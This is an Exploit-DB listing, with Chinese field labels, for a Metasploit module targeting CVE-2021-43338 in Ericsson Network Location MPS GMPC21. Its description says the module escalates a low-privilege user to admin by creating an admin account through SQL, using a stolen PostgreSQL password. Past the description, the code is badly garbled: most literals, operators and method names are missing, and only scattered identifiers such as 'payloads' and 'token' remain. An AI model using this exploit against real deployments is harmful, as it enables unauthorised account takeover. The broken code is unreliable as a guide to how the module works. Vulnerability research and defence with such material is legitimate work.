标题: Ericsson Network Location MPS GMPC21 - Privilege Escalation (Metasploit) EDB-ID: 50469 CVE: 2021-43338 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-11-02 漏洞利用脚本: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ericsson Network Location MPS - Privilege Escalation (Meow Variant)',
      'Description'    => %q(
        This module exploits privilege escalation vulnerability in Ericsson Network Location Mobile Positioning Systems.
        It creates a new admin user with SQL Query. Thanks to the Meow variant, it does this with the PostgreSQL password it stole.
        Therefore low authority user can gain the authority of "admin" on the application.

 You can examine the exploit "Restrictions Bypass RCE", which is the main source of the vulnerability. 
        "version":"GMPC21","product_number":"CSH 109 025 R6A", "cluster version: 21"
  
        /////// This 0day has been published at DEFCON29-PHV Village. ///////  

      )
           
        
             
             
            
            
        
               
        
           
        
               
        
       
        
            
              
        
    

    
    
           
            
    
  
  
   peer
    
  
  
   data string_to_split  
    word  data
    string  word
     string
    
  
   cluster
  
    res  
   
            target_uripath     
      
      
 
     res  rescode    resbody  
      cls_version  resbody 
      cls_node_type  resbody 
      cls_name  resbody 
      cls_id  cls_version    cls_node_type    cls_name
       cls_version cls_node_type cls_name cls_id
    
       
     
  
  
   token
    
    json_urls  
    parse  json_urls
    cls_id  cluster
    cls_node_type  cluster
 
    i  
     i   
       link  parse
       i 
       
       
        link  
  
       
       filename  
    
       res  
               target_uripath     cls_id cls_node_type link  filename
         
       
           
         token
               
           
         
    
        res  rescode    
  
        res  rescode   
   link  
        res  rescode   
   link          
        res  rescode   
                
             
    
  

   check
    
    token  datastore datastore
    res  
      
            target_uripath     cluster  
      
    
        
      token
            
        
       
 
     res  rescode    resbody  
      version  resbody 
      pnumber  resbody 
         
       
    
       
    
  
  
   user pass
  
    json_login    datastore    datastore  
 
    res  
      
        
         
        target_uripath      
       
        
            
        
        json_login
       
   
     res  rescode    resbody  
      auth_token  resbody 
       auth_token
    
       
        
  
  
   token link
        configname  
 newuser  
 newpass  
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
 
 payloads     
    
 payloads      
 
 payloads     
 
 payloads     
 
 payloads     
 
 payloads     
 
 payloads     
 
 payloads     
        
 payloads     
     
 payloads      
 
 payloads     
 
 payloads     
 
 payloads     
 
 payloads     
 
 payloads     
 
 payloads     
     
 payloads     
 
 payloads     
     
 payloads    )  
     
 payloads     
 
 
 payloads      
 
 payloads    ) 
 
 payloads     
 
 payloads    ) 
 
 payloads    ) 
 
 payloads     
 
 payloads    ) 
 
 payloads    ) 
        
 payloads     
 
 payloads     
 
  link  
   
  
     parse  payloads
 cls_id  cluster
 cls_node_type  cluster
 i  
  i   
    pay  parse
    i 
    
     link  
     
    

           cls_id cls_node_type token link pay 
            i  
             newuser newpass link 
              
           
  
  
   user pass link
  
    json_login    user    pass  
     link  
   
         
   
   
      
      res  
        
          
           
          target_uripath      
         
          
              
          
          json_login
         
   
       res  rescode    resbody  
     
            
     
     
      
      
      
       
  
  
   config_name
  
    res  
            target_uripath config_name
      
    
        
            
        
      
   
 parse  resbody 
 pass  parse
 puts pass  
  
 
 
   id type token link pay 

    res  
            target_uripath     id type link 
      
    
        
      token
            
        
         
  
  

  
  
  
   run

    auth_token  datastore datastore
     auth_token  
       
     
      perm_link  auth_token
      
        
 
    auth_token perm_link URL: https://www.exploit-db.com/exploits/50469